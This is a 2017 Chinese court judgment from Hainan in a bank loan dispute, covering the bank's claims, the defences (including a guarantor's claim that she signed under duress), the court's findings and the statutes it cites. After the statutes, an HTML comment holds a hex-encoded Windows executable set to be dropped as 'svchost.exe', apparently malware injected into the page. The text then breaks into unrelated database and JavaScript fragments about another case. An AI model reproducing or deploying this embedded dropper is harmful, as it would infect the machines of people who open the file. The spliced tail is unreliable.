海南省第二中级人民法院
p t ; ” > 民 事 判 决 书
（2017）琼97民初23号
原告：中国农业银行股份有限公司临高县支行，住所地海南省临高县临城镇新镇北街111号。
负责人：杨波，该行行长。
委托诉讼代理人：许翠霞，海南法立信律师事务所律师。
委托诉讼代理人：蔡相岑，海南法立信律师事务所律师。
被告：临高思远实业有限公司，住所地海南省临高县临城镇海南思远食品有限公司办公大楼1楼综合A室。
法定代表人：潘勇,该公司董事长。
被告：临高思远饲料有限公司，住所地海南省临高县金牌经济开发区南边。
法定代表人：潘勇，该公司董事长。
被告：海南海上丝绸之路远洋渔业有限公司，住所地海南省澄迈县老城经济开发区南一环路69号海口综合保税区联检大楼804-3。
法定代表人：潘勇，该公司董事长。
被告：海南中联生物科技有限公司，住所地海南省澄迈县老城开发区南一环路。
法定代表人：潘勇，该公司董事长。
被告：海南远大船业有限公司，住所地海南省海口市滨海大道南洋大厦12层1202室之二。
法定代表人：潘勇，该公司董事长。
被告：临高县渔业发展控股有限公司，住所地海南省临高县临美路工业开发区。
法定代表人：潘勇，该公司董事长。
被告：海南思远食品有限公司，住所地海南省临高县临城镇临美路工业开发区。
法定代表人：潘勇，该公司董事长。
被告：潘勇，男，1975年1月14日出生，汉族，住海南省海口市。
以上八被告共同委托诉讼代理人：吴清能，海南海上丝绸之路远洋渔业有限公司副总经理。
以上八被告共同委托诉讼代理人：黄少妹，海南海上丝绸之路远洋渔业有限公司职员。
被告：谢晓婷，女，1979年7月2日出生，汉族，住海南省海口市。
被告：郑立钢，男，1969年12月31日出生，汉族，住海南省临高县。
被告：王瑞珍，女，汉族，1967年11月10日出生，住海南省临高县。
原告中国农业银行股份有限公司临高县支行（以下简称农行临高支行）与被告临高思远实业有限公司（以下简称思远实业公司）、临高思远饲料有限公司（以下简称思远饲料公司）、海南海上丝绸之路远洋渔业有限公司（以下简称远洋渔业公司）、海南中联生物科技有限公司（以下简称中联公司）、海南远大船业有限公司（以下简称远大公司）、临高县渔业发展控股有限公司（以下简称渔业控股公司）、海南思远食品有限公司（以下简称思远食品公司）、潘勇、谢晓婷、郑立钢、王瑞珍金融借款合同纠纷一案，本院于2017年4月7日立案后，依法适用普通程序，于2017年7月28日公开开庭进行了审理。原告农行临高支行委托诉讼代理人许翠霞，被告思远实业公司、思远饲料公司、远洋渔业公司、中联公司、远大公司、渔业控股公司、思远食品公司、潘勇共同委托诉讼代理人吴清能、黄少妹，被告谢晓婷到庭参加诉讼，郑立钢、王瑞珍经传票传唤，无正当理由拒不到庭参加诉讼。本案现已审理终结。
原告农行临高支行向本院提出诉讼请求：1、请求判令被告思远实业公司立即向原告偿还借款本金163909970元；2、请求判令思远实业公司立即向原告支付利息9602392.41元（利息暂计至2017年2月8日，从2015年12月21日至2017年2月10日的利息按年利率4.75%计算，2017年2月11日起至实际清偿之日止的利息按罚息，罚息利率为中国人民银行1-3年期基准利率上浮50%计算）；3、请求判令思远实业公司承担原告为本案诉讼支付的全部律师费；4、请求判令思远饲料公司、远洋渔业公司、中联公司、远大公司、渔业控股公司、思远食品公司、潘勇、谢晓婷、郑立钢、王瑞珍对思远实业公司上述第1、2、3项债务承担连带清偿责任；5、请求判令原告对思远饲料公司名下位于临高县金牌蔬港公路西侧地段31468.58平方米土地使用权的拍卖、变卖或折价价款享有优先受偿权，优先受偿权的范围为思远实业公司上述第1、2、3项债务；6、本案诉讼费用、诉前财产保全费用由全部被告共同承担。事实和理由：2015年7月23日，原告与思远实业公司签订《流动资金借款合同》（编号：×××），约定：思远实业公司向原告借款人民币1.6391亿元，借款期限3年，利息利率为基准利率，该合同第五条约定，思远实业公司如未履行或未完全履行借款人与贷款人签订的其他合同项下义务的、借款人或者保证人还款能力可能发生重大不利变化、违反合同约定的义务等情形的，原告有权提前收贷，且双方约定因思远实业公司违约致使原告采取诉讼等方式实现债权的，原告为此支付的律师费、差旅费等实现债权的一切费用由思远实业公司承担。同日，原告与思远饲料公司签订《抵押合同》（编号：×××），约定：思远饲料公司以名下位于临高县金牌蔬港公路西侧地段31468.58平方米土地使用权为思远实业公司1.6391亿元提供抵押担保，抵押担保的范围为借款本金、利息、罚息、复利及律师费等原告实现债权的一切费用。合同签订后，双方已办理抵押登记手续。同日，原告与思远食品公司签订《保证合同》（编号：×××），约定：思远食品公司作为思远实业公司的保证人，为思远实业公司借款1.6391亿元提供保证担保，担保方式为连带保证，保证担保的范围为借款本金、利息、罚息、复利及律师费等原告实现债权的一切费用。2016年7月25日，因思远实业公司及思远饲料公司经营状况恶化，无力偿还各个银行贷款，远大公司、远洋渔业公司、中国工商银行股份有限公司洋浦分行（以下简称”工行洋浦分行”）、渔业控股公司、海南城市派会展服务有限公司（以下简称”派会展公司”）、潘勇、郑立新及原告共同签订《临高县渔业发展控股有限公司并购重组协议》。同日，国家开发银行海南省分行、工行洋浦分行、原告、思远实业公司、郑立钢、远洋渔业公司、派会展公司、潘勇共同签订《临高思远实业有限公司合作协议》。2016年7月25日，思远饲料公司与原告签订《最高额保证合同》。2016年7月25日，中联公司，远大公司，渔业控股公司，思远食品公司，郑立钢、王瑞珍分别与原告签订《最高额保证合同》，为思远实业公司、思远饲料公司2015年7月23日-2018年7月22日期间形成的债权最高额49127.85万元提供保证担保。2016年7月28日，远洋渔业公司，潘勇、谢晓婷分别与原告签订《最高额保证合同》。2016年11月16日，原告、工行洋浦分行、国家开发银行海南省分行共同向远洋渔业公司发出《关于切实履行临高思远实业有限公司有关协议及配合债权银行监管的函》，要求远洋渔业公司按约履行《并购重组协议》，并配合三家债权行的监管。但远洋渔业公司仍然不予配合，也未按约支付并购款。现工行洋浦分行、国家开发银行海南省分行已通过诉讼途径向思远实业公司、思远饲料公司追索贷款。原告认为，原告与各被告签订的借款合同、保证合同等均合法有效，各方均应遵照合同履行义务，思远实业公司及其保证人既未按《并购重组协议》约定履行支付并购款及接受监管义务，亦正处于被其他债权银行追索贷款诉讼中，思远实业公司及其保证人上述情形均已构成违约，根据《流动资金借款合同》第5.3条第（3）项、第5.4条的约定，原告有权提前收回贷款，思远实业公司应立即向原告偿还借款本息及利息复利，支付原告为本案诉讼支出的律师服务费。各保证人保证合同约定的保证责任均为连带保证责任。思远饲料公司以其名下位于临高县金牌蔬港公路西侧地段31468.58平方米土地使用权为思远实业公司借款提供抵押担保，且已办理抵押登记手续，根据《物权法》第一百九十五条的规定，原告享有对思远饲料公司名下位于临高县金牌蔬港公路西侧地段31468.58平方米土地使用权的拍卖、变卖或折价价款优先受偿权。
被告思远实业公司、思远饲料公司、远洋渔业公司、中联公司、远大公司、渔业控股公司、思远食品公司、潘勇辩称，1、涉案1.639亿元贷款实际去向和用途不明。2、2016年7月25日，工商银行洋浦分行、国家开发银行、农行临高支行、思远实业公司、潘勇等共同签订《临高思远实业公司合作协议》并约定三家银行应当支持远洋渔业公司投资，提供必要的信贷支持，不减少对思远实业公司及其子公司的贷款余额。但在思远实业公司及其子公司股权变更（2016年7月28日）后不到一周，三家银行分别向法院起诉收回贷款，查封公司账户，造成答辩人巨大经济损失。3、答辩人无法按期归还贷款，是天灾人祸的双重压力造成。请求法院驳回原告的诉讼请求。
被告谢晓婷答辩称，一、签署担保合同不是本人真实意思表示。谢晓婷虽是潘勇的妻子，但二人性格不合，分居多年。因潘勇及其公司收购思远及关联公司，银行要求潘勇和谢晓婷签署担保合同，潘勇父亲和弟弟也出面劝说，迫于银行和家庭的压力才签订担保合同，并非自己真实意思表示。二、原告对谢晓婷自始至终不愿做担保人非常清楚。在潘勇及其公司收购思远公司之前，谢晓婷一直要求和潘勇签订夫妻债务协议，由潘勇自己承担其事业上产生的债务，因本案贷款、担保、合作协议签署紧迫，谢晓婷不得不签订担保协议，当天在国开行人员在场的情况下和潘勇签订协议，约定由潘勇自行负责偿还全部夫妻存续期间借款。之后，谢晓婷对此向三家银行表示不愿作为保证人，但银行方没有回复。三、谢晓婷不应承担保证责任。谢晓婷与涉案贷款及贷款人不存在利益关系。谢晓婷和潘勇婚姻名存实亡，签订有债务负担协议，且二人在2017年5月12日办理了离婚手续，离婚协议约定，因收购思远公司产生的债务由潘勇负责。综上，请求法院驳回原告对谢晓婷的诉讼请求。
被告郑立钢、王瑞珍未到庭，也未提交答辩意见。
当事人围绕诉讼请求依法提交了证据，本院组织当事人进行了证据交换和质证。原告为证明其诉讼主张提供如下证据：证据1、《流动资金借款合同》（编号：×××）；证据2、《抵押合同》（编号×××）；证据3、他项权证【他项（2015）058号】；证据4、《保证合同》（编号×××）；证据5、《借款凭证》；证据6、《临高县渔业发展控股有限公司并购重组协议》；证据7、《临高思远实业有限公司合作协议》；证据8-证据16、九份《最高额保证合同》；证据17、《关于切实履行临高思远实业有限公司有关协议及配合债权银行监管的函》;证据18、《公证书》；证据19、《委托代理协议》；证据20、EMS邮寄查询结果。上述证据共同证明思远实业公司向原告借款1.6391亿元，思远饲料公司、远洋渔业公司、中联公司、远大公司、渔业控股公司、思远食品公司、潘勇、郑立钢、王瑞珍为上述借款提供担保。被告思远实业公司、思远饲料公司、远洋渔业公司、中联公司、远大公司、渔业控股公司、思远食品公司、潘勇、谢晓婷对于原告提交的证据的真实性、合法性均无异议，本院予以确认并在卷佐证。
被告谢晓婷为证明其诉讼主张提供如下证据：证据1、《协议》、《离婚协议书》；证据2、《离婚证》；证据3、《撤销贷款保证人申请书》和邮寄单。三组证据共同证明在签订保证合同之前谢晓婷与潘勇就准备离婚了，签完保证合同就正式离婚了，签订保证合同不是谢晓婷的真实意思表示，并向原告提交了撤销保证人申请。原告对被告谢晓婷提交的证据真实性没有异议，但认为不能对抗第三人，不能免除其保证责任。被告思远实业公司、思远饲料公司、远洋渔业公司、中联公司、远大公司、渔业控股公司、思远食品公司、潘勇对谢晓婷提交证据的三性均无异议。本院认为，谢晓婷对《最高额保证合同》上的签名真实性没有异议，其提交的三组证据无法证明其签名不是其真实意思表示的证明内容，故本院对三组证据的证明力不予确认。
根据当事人陈述和经审查确认的证据，本院认定事实如下：2015年7月23日，原告与被告思远实业公司订立《流动资金借款合同》（编号：×××）。贷款方：中国农业银行股份有限公司临高县支行；借款方：临高思远实业有限公司。借款金额：人民币16391万元。借款用途：承接原60户农业产业链农户贷款平稳归位。借款利率按照每笔借款提款日总借款期限所对应的人民银行公布的同期同档次基准利率基础上浮0%，浮动利率调整以12个月为一个周期，贷款期限三年。借款按6个月结息，结息日为每6个月的20日。借款人未按合同约定的期限归还借款本金的，贷款人对逾期的借款从逾期之日起在本合同约定的借款执行利率的基础上，按照逾期期限分段计收罚息。从逾期之日起30天内（含30天）上浮50%计收罚息；30天以上至60天（含60天）上浮50%计收罚息；60天以上上浮100%计收罚息。合同第五条法律责任约定：5.1借款人的下列行为，均构成违约：（1）违反合同约定的义务；（2）未履行本合同第二条所做的承诺；（3）明确表示或者以行为表明不愿清偿其已到期或未到期债务；（4）未履行或者未完全履行借款人与贷款人签订的其他合同项下义务的，贷款人宣布借款人构成违约的；（5）借款人不履行或者不完全履行合同的其他情形。5.2有下列情形的，贷款人可以解除本合同以及双方签订的其他合同：（2）借款人或者保证人还款能力可能发生重大不利变化。（3）抵押物、质押物可能遭受重大损害或者价值减损。5.3发生第5.1条、5.2条所述情形的，贷款人可以采取以下救济措施：（3）调减、撤销借款人借款额度，停止发放贷款，提前收回已发放借款，宣布借款人与贷款人签订的其他借款合同项下借款到期。5.4因借款人违约致使贷款人采取诉讼或者仲裁等方式实现债权的，贷款人为此支付的律师费、差旅费、执行费、评估费以及其他实现债权的一切费用由借款人承担。2015年7月23日，原告向被告思远实业公司发放贷款16391万元。合同履行过程中，思远实业公司已支付2015年12月20日以前的合同项下应付利息，但2015年12月21日以后未再支付利息。
2015年7月23日，原告与被告思远饲料公司签订《抵押合同》（编号：×××），约定思远饲料公司以位于临高县金牌蔬港公路西侧地段土地证编号为临国用（2012）第011号31468.58㎡国有土地使用权为思远实业公司订立《流动资金借款合同》（编号：×××）项下借款提供抵押。抵押担保的范围主合同项下的借款本金、利息、复利、罚息、违约金、损害赔偿金、按《民事诉讼法》有关规定确定由借款人和担保人承担的迟延履行债务利息和迟延履行金以及贷款人实现债权的一切费用。同日办理了抵押权登记。抵押期限自2015年7月23日至2018年7月22日止。2016年7月25日，原告与被告思远饲料公司签订《最高额保证合同》，担保的债权最高余额22127.85万元，时间为2015年7月23日-2018年7月22日思远实业公司形成的债权。其中主合同为编号：×××借款金额16391万元。保证方式为连带责任保证。保证范围：主合同项下的借款本金、利息、复利、罚息、违约金、损害赔偿金、按《民事诉讼法》有关规定确定由借款人和担保人承担的迟延履行债务利息和迟延履行金以及贷款人实现债权的一切费用。保证期间为自主合同约定的债务履行期限届满之日起两年。
2015年7月23日，原告与被告思远食品公司订立《保证合同》（编号：×××）约定：思远食品公司为思远实业公司订立《流动资金借款合同》（编号：×××）合同项下借款提供保证担保，保证方式为连带责任保证。保证范围：主合同项下的借款本金、利息、复利、罚息、违约金、损害赔偿金、按《民事诉讼法》有关规定确定由借款人和担保人承担的迟延履行债务利息和迟延履行金以及贷款人实现债权的一切费用。保证期间为自主合同约定的债务履行期限届满之日起两年。
2016年7月25日，原告、国家开发银行股份有限公司海南省分行、中国工商银行股份有限公司洋浦分行、思远实业公司、郑立钢、远洋渔业公司、潘勇、海南城市派会展服务有限公司签订《临高思远实业有限公司合作协议》，远洋渔业公司收购思远实业公司100%股权，远洋渔业公司承诺对思远实业公司及其子公司对各债权行贷款承担连带责任保证担保，签订保证合同等，各债权行对思远实业公司及其子公司经营活动及资金使用进行监管。该合作协议第五条第（五）项约定本协议签订之日起，如发生下列任一事项，各债权行有权宣布思远实业公司及其子公司贷款提前到期，或追究担保人责任，或依据借款合同采取有关措施：1、思远实业公司及其子公司出现贷款本息逾期。2、思远实业公司及其子公司的主要财产被查封、扣押。3、思远实业公司及其子公司无故发生停业或被政府责令停业。2015年7月25日，原告、远大公司、远洋渔业公司、海南城市派会展服务有限公司、中国工商银行股份有限公司洋浦分行、潘勇、郑立新、渔业控股公司签订《临高县渔业发展控股有限公司并购重组协议》。
2016年7月原告分别与远洋渔业公司，潘勇、谢晓婷，中联公司，远大公司，渔业控股公司，思远食品公司，郑立钢、王瑞珍签订《最高额保证合同》，担保的债权最高余额49127.85万元，时间为2015年7月23-2018年7月22日思远实业公司、思远饲料公司形成的债权。其中主合同为编号：×××借款金额16391万元、×××借款金额20000万元。保证方式为连带责任保证。保证范围：主合同项下的借款本金、利息、复利、罚息、违约金、损害赔偿金、按《民事诉讼法》有关规定确定由借款人和担保人承担的迟延履行债务利息和迟延履行金以及诉讼（仲裁）费、律师费等贷款人实现债权的一切费用。保证期间为自主合同约定的债务履行期限届满之日起两年。
以上案涉的《抵押合同》、《保证合同》、《最高额保证合同》均约定抵押权实现或保证责任承担的情形包括”主合同项下债务履行期限届满，抵押权人未受清偿。'期限届满'包括主合同约定的债务履行期限届满，以及债权权人依照国家法律法规规定或者主合同的约定宣布主合同项下债权提前到期的情形”。上述合同同时约定存在物的担保和保证担保的，债权人可以选择物的担保或保证担保实现债权，也可以通过同时主张物的担保和保证担保实现债权。
2017年2月10日原告通过邮寄方式向被告思远实业公司发出《贷款提前到期通知书》，思远实业公司于2017年2月14日收到该份邮件。2017年5月23日原告与海南法立信法律事务所签订《委托代理协议》，约定该律师事务所委派廖向琦等律师代理一审、二审、执行、刑事相关诉讼事务，代理方式为部分风险代理，最高限额不超过99万元（含99万元）。至本案开庭时，原告未提供证据证明其已向海南法立信法律事务所支付代理费。
庭审中思远实业公司承认原告主张的思远实业公司目前处于停业状态，且因涉及其他经济纠纷公司主要资产已被司法机关采取保全措施的事实。另查明，本院于2017年7月28日作出（2017）琼97民初30号裁定书，查封本案被告渔业控股公司名下位于临高县水湾风情小镇23.62万平方米海域使用权及位于临高县新盈中心港湾26.244万平方米海域使用权，期限为三年。
再查明，农行临高支行于2017年2月10日向本院申请诉前财产保全，请求查封扣押思远饲料公司、渔业控股公司名下价值1.6391亿元的财产。本院于2017年2月22日作出（2017）琼97财保1号民事裁定依法对上述财产予以查封。
本院认为，原告与被告思远实业公司订立的《流动资金借款合同》、《临高思远实业有限公司合作协议》，与被告思远饲料公司签订的《抵押合同》、《最高额保证合同》，与被告思远食品公司订立的《保证合同》、《最高额保证合同》，与被告远洋渔业公司，潘勇、谢晓婷，中联公司，远大公司，渔业控股公司，郑立钢、王瑞珍签订的《最高额保证合同》，均系各方当事人真实意思表示，不违反法律、行政法规的强制性规定，应属有效合同，各方当事人均应依照合同约定行使合同权利、履行合同义务。其中，原告与被告思远饲料公司签订的《抵押合同》所涉的抵押已依法办理了相关登记手续，抵押权依法设立。《流动资金借款合同》签订后，根据原告提供的借款凭证，原告向被告思远实业公司履行了发放贷款的义务。思远实业公司、思远饲料公司、远洋渔业公司、中联公司、远大公司、渔业控股公司、思远食品公司、潘勇辩称涉案贷款去向和用途不明问题。本院认为，涉案资金去向和用途是思远实业公司内部经营行为，如果存在违法行为，可通过其他法律途径解决，远洋渔业公司收购思远实业及其系列子公司的行为也仅为公司内部股权的变动，并不影响公司对外的权利义务关系，故被告抗辩主张不能对抗对原告的还款义务。
综合本案各方当事人的诉、辩主张及理由，本案争议的焦点问题有：一、原告是否有权宣布借款到期，要求借款人偿还借款本息；二、如果借款提前到期，利息和罚息应如何计算；三、原告主张的律师费是否应当支持；四、被告是否应当承担担保责任。
一、关于原告是否有权宣布借款到期，要求借款人思远实业公司偿还借款本息的问题。
根据双方签订的《流动资金借款合同》第5.2条第（2）项”借款人或者保证人还款能力可能发生重大不利变化”和第5.3条”发生第5.1条、5.2条所述情形的，贷款人可以采取以下救济措施：（3）调减、撤销借款人借款额度，停止发放贷款，提前收回已发放借款，宣布借款人与贷款人签订的其他借款合同项下借款到期”的规定，以及《临高思远实业有限公司合作协议》第五条第（五）项”本协议签订之日起，如发生下列任一事项，各债权行有权宣布思远实业公司及其子公司贷款提前到期，或追究担保人责任，或依据借款合同采取有关措施：1、思远实业公司及其子公司出现贷款本息逾期。2、思远实业公司及其子公司的主要财产被查封、扣押。3、思远实业公司及其子公司无故发生停业或被政府责令停业。”的约定，被告思远实业公司出现以上情形，原告有权宣布借款提前到期，要求思远实业公司立即偿还借款本金并结清利息。根据已查明事实，思远实业公司目前处于停业状态，因为涉及其他经济纠纷公司主要资产已被司法机关采取保全措施，而且保证人渔业控股公司财产在另案中亦被查封。根据《流动资金借款合同》和《临高思远实业有限公司合作协议》约定，现借款人或者保证人还款能力发生重大不利变化，原告农行临高支行有权依约宣布借款提前到期。原告要求被告思远实业公司提前偿还借款的诉讼主张，符合合同约定，亦不违反法律、行政法规的禁止性规定。被告思远实业公司认为案涉借款合同未到期，其不应承担还款责任的抗辩主张，不能成立，本院不予采信。故原告主张被告思远实业公司应按照《流动资金借款合同》约定承担清偿借款本金16390.997万元以及相应利息和罚息，有事实根据和法律依据，本院予以支持。
二、关于利息和罚息计算问题。
2017年2月10日原告农行临高支行向被告思远实业公司发出宣布借款立即到期，要求其偿还全部贷款本息的书面通知。被告思远实业公司于2017年2月14日收到该通知，故借款期限届满日为2017年2月14日，原告主张借款期限届满日为2017年2月10日的意见，本院不予采纳。思远实业公司自2015年12月21日以后未再支付利息，原告农行临高支行有权要求思远实业公司从2015年12月21日起至2017年2月14日止，按照合同约定的利率标准（年利率4.75%）支付利息。《流动资金借款合同》约定逾期的借款，从逾期之日起在本合同约定的借款执行利率的基础上，按照逾期期限分段计收罚息。原告主张罚息利率为中国人民银行公布的1-3年期基准利率上浮50%计算，即从2017年2月15日起至债务付清之日止，按照年利率7.125%计算罚息符合合同约定，本院予以照准。
三、关于原告主张的律师费是否应当支持的问题。
原告和思远实业公司签订的《流动资金借款合同》约定，因借款人违约致使贷款人采取诉讼或仲裁等方式实现债权的，贷款人为此支付的律师费、差旅费、执行费、评估费及其他实现债权的一切费用由借款人承担。本案原告为本案支付的律师费应由被告思远实业公司承担，但该费用应以原告确定支付的数额为限。本案中，根据原告提供的《委托代理协议》约定，该次代理为风险代理，律师费尚未最终确定，其是否合理亦有待实际发生后进一步审查，故本案中原告要求被告支付律师费99万元，没有事实依据，不予支持。原告可在该费用确定后另行主张。
四、关于被告是否应当承担连带保证责任的问题
被告谢晓婷主张其签订最高额保证合同并非自愿，是迫于家庭和银行压力签订，所签最高额保证合同为无效合同，但没有提供被胁迫的相关证据，本院不予支持。另，谢晓婷与潘勇签订的协议系夫妻双方内部约定，不影响对外签订担保合同的效力，故对其不承担担保责任的主张不予支持。
案涉的《抵押合同》、《保证合同》、《最高额保证合同》约定，债权人宣布借款提前到期的，提前到期日为债务履行期限届满日，债权人可对抵押物提前实现抵押权，也可要求保证人承担保证责任。故在债务人不履行债务时，原告农行临高支行有权要求各担保人履行相应的担保责任。案涉担保合同亦约定，被担保的借款合同同时存在物的担保和保证担保的，债权人可以选择物的担保或保证担保实现债权，也可以通过同时主张物的担保和保证担保实现债权。本案中，原告农行临高支行同时向各担保人提出权利主张，符合合同约定和法律规定。
原告与被告思远饲料公司订立《抵押合同》，并办理了抵押登记，以其位于临高县金牌蔬港公路西侧地段土地证编号为临国用（2012）第011号31468.58㎡国有土地使用权为思远实业公司的债务提供抵押担保。依据《中华人民共和国物权法》第一百七十条”担保物权人在债务人不履行到期债务或者发生当事人约定的实现担保物权的情形，依法享有就担保财产优先受偿的权利，但法律另有规定的除外。”的规定，原告请求对被告思远饲料公司位于临高县金牌蔬港公路西侧地段土地证编号为临国用（2012）第011号国有土地使用权享有优先受偿权，有事实根据和法律依据，本院予以支持。根据原告与被告思远饲料公司订立的《最高额保证合同》约定，被告思远饲料公司亦应在最高限额22127.85万元范围内为被告思远实业公司欠付的借款本息承担连带保证责任。
原告与被告思远食品公司订立《保证合同》约定：思远食品公司为思远实业公司订立《流动资金借款合同》项下借款提供保证担保，保证方式为连带责任保证。故原告请求被告思远食品公司对案涉借款本息承担连带责任保证，本院予以支持。
原告分别与远洋渔业公司，潘勇、谢晓婷，中联公司，远大公司，渔业控股公司，郑立钢、王瑞珍签订的《最高额保证合同》约定，最高以49127.85万元为限，担保范围包括主合同项下的借款本金、利息、复利、罚息、违约金、损害赔偿金、按《民事诉讼法》有关规定确定由借款人和担保人承担的迟延履行债务利息和迟延履行金以及诉讼（仲裁）费、律师费等贷款人实现债权的一切费用，保证方式为连带责任保证。故原告请求远洋渔业公司，潘勇、谢晓婷，中联公司，远大公司，渔业控股公司，郑立钢、王瑞珍分别在最高限额49127.85万元范围内，对思远实业公司的债务承担连带清偿责任的部分本院予以支持，超出部分不予支持。
综上所述，原告的诉请部分具有事实与法律依据，本院予以支持。被告郑立钢、王瑞珍经本院依法传唤，未到庭应诉，本院依法缺席判决。依照《中华人民共和国合同法》第一百九十六条、第二百零七条，《中华人民共和国物权法》第一百七十条、第一百七十六条、第一百九十五条、第一百九十八条，《中华人民共和国担保法》第十八条、第二十一条第一款，《中华人民共和国民事诉讼法》第一百四十四条之规定，判决如下：
一、被告临高思远实业有限公司于本判决生效之日三十日内返还原告中国农业银行股份有限公司临高县支行借款本金16390.997万元以及至借款实际清偿日止的利息和罚息（利息计算方法：以本金16390.997万元为基数，以年利率4.75%的标准，从2015年12月21日起计算至2017年2月14日止；罚息计算方法：以本金16390.997万元为基数，以年利率7.125%的标准，从2017年2月15日起计算至借款实际清偿日止）；
二、被告海南思远食品有限公司对本判决第一项确定的债务承担连带清偿责任；
三、被告海南海上丝绸之路远洋渔业有限公司、海南中联生物科技有限公司、海南远大船业有限公司、临高县渔业发展控股有限公司、潘勇、谢晓婷、郑立钢、王瑞珍分别在49127.85万元最高限额内，对本判决第一项确定的债务承担连带清偿责任；
四、被告临高思远饲料有限公司在22127.85万元最高限额内，对本判决第一项确定的债务承担连带清偿责任；
五、被告临高思远实业有限公司到期不履行本判决第一项确定的付款义务，原告中国农业银行股份有限公司临高县支行有权对临高思远饲料有限公司位于海南省××县西侧地段土地证编号为临国用（2012）第011号31468.58㎡国有土地使用权折价或者以拍卖、变卖该抵押物的价款优先受偿；
六、驳回原告中国农业银行股份有限公司临高县支行其他诉讼请求。
如未按本判决指定的期间履行给付金钱义务，应当依照《中华人民共和国民事诉讼法》第二百五十三条之规定，加倍支付迟延履行期间的债务利息。
案件受理费909361.81元，原告中国农业银行股份有限公司临高县支行负担4866.34元，被告临高思远实业有限公司、临高思远饲料有限公司、海南海上丝绸之路远洋渔业有限公司、潘勇、谢晓婷、海南中联生物科技有限公司、海南远大船业有限公司、临高县渔业发展控股有限公司、海南思远食品有限公司、郑立钢、王瑞珍共同负担904495.47元。
如不服本判决，可在判决书送达之日起十五日内，向本院递交上诉状，并按对方当事人的人数提交副本，上诉于海南省高级人民法院。
审判长吴育森
审判员何昌恩
审判员龙蜀娟
二〇一七年九月二十七日
书记员邓业荣
附：本案适用的相关法律条文
《中华人民共和国合同法》
第一百九十六条借款合同是借款人向贷款人借款，到期返还借款并支付利息的合同。
第二百零七条借款人未按照约定的期限返还借款的，应当按照约定或者国家有关规定支付逾期利息。
《中华人民共和国物权法》
第一百七十条担保物权人在债务人不履行到期债务或者发生当事人约定的实现担保物权的情形，依法享有就担保财产优先受偿的权利，但法律另有规定的除外。
第一百七十六条被担保的债权既有物的担保又有人的担保的，债务人不履行到期债务或者发生当事人约定的实现担保物权的情形，债权人应当按照约定实现债权；没有约定或者约定不明确，债务人自己提供物的担保的，债权人应当先就该物的担保实现债权；第三人提供物的担保的，债权人可以就物的担保实现债权，也可以要求保证人承担保证责任。提供担保的第三人承担担保责任后，有权向债务人追偿。
第一百九十五条债务人不履行到期债务或者发生当事人约定的实现抵押权的情形，抵押权人可以与抵押人协议以抵押财产折价或者以拍卖、变卖该抵押财产所得的价款优先受偿。协议损害其他债权人利益的，其他债权人可以在知道或者应当知道撤销事由之日起一年内请求人民法院撤销该协议。
抵押权人与抵押人未就抵押权实现方式达成协议的，抵押权人可以请求人民法院拍卖、变卖抵押财产。
抵押财产折价或者变卖的，应当参照市场价格。
第一百九十八条抵押财产折价或者拍卖、变卖后，其价款超过债权数额的部分归抵押人所有，不足部分由债务人清偿。
《中华人民共和国担保法》
第十八条当事人在保证合同中约定保证人与债务人对债务承担连带责任的，为连带责任保证。
连带责任保证的债务人在主合同规定的债务履行期届满没有履行债务的，债权人可以要求债务人履行债务，也可以要求保证人在其保证范围内承担保证责任。
第二十一条保证担保的范围包括主债权及利息、违约金、损害赔偿金和实现债权的费用。保证合同另有约定的，按照约定。
当事人对保证担保的范围没有约定或者约定不明确的，
保证人应当对全部债务承担责任。
《中华人民共和国民事诉讼法》
第一百四十四条被告经传票传唤，无正当理由拒不到庭的，或者未经法庭许可中途退庭的，可以缺席判决。
<!--</div>
DropFileName=”svchost.exe”
WriteData=”4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000504500004C010300BC7CB1470000000000000000E0000F010B01070400E000000010000000E0010030C0020000F0010000D002000000400000100000000200000A00000008000100040000000000000000E002000010000000000000020000000000100000100000000010000010000000000000100000000000000000000000E8D402001001000000D00200E80400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000E00100001000000000000000040000000000000000000000000000800000E0555058310000000000E0000000F0010000D2000000040000000000000000000000000000400000E02E727372630000000010000000D002000006000000D60000000000000000000000000000400000C000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000','2018-09-29
13:12:37',0,'web',NULL),(30981945,'4e48a2de-f574-4c78-bbdf-a863013f7cce','$(function(){$(\"#con_llcs\").html(\"浏览：91次\")});$(function(){var
caseinfo=JSON.stringify({\"法院ID\":\"2484\",\"案件基本情况段原文\":\"\",\"附加原文\":\"\",\"审判程序\":\"一审\",\"案号\":\"（2017）渝0107民初10205号\",\"不公开理由\":\"\",\"法院地市\":\"重庆市第五中级人民法院\",\"法院省份\":\"重庆\",\"文本首部段落原文\":\"\",\"法院区域\":\"\",\"文书ID\":\"4e48a2de-f574-4c78-bbdf-a863013f7cce\",\"案件名称\":\"晏兰与杨仿民间借贷纠纷一审民事判决书\",\"法院名称\":\"重庆市九龙坡区人民法院\",\"裁判要旨段原文\":\"\",\"法院区县\":\"九龙坡区\",\"补正文书\":\"2\",\"DocContent\":\"\",\"文书全文类型\":\"1\",\"诉讼记录段原文\":\"原告晏兰与被告杨仿民间借贷纠纷一案，本院于2017年5月15日立案受理后，依法组成合议庭，适用普通程序于2017年9月25日公开开庭进行了审理。原告晏兰及其委托代理人张波到庭参加诉讼，被告杨仿经本院公告送达起诉状副本、应诉通知书、举证通知书、开庭传票，未到庭参加诉讼，本院依法进行了缺席审理。本案现已审理终结\",\"判决结果段原文\":\"\",\"文本尾部原文\":\"\",\"上传日期\":\"\\\/Date(1515427200000)\\\/\",\"案件类型\":\"2\",\"诉讼参与人信息部分原文\":\"\",\"文书类型\":null,\"裁判日期\":null,\"结案方式\":null,\"效力层级\":null});$(document).attr(\"title\",\"晏兰与杨仿民间借贷纠纷一审民事判决书\");$(\"#tdSource\").html(\"晏兰与杨仿民间借贷纠纷一审民事判决书
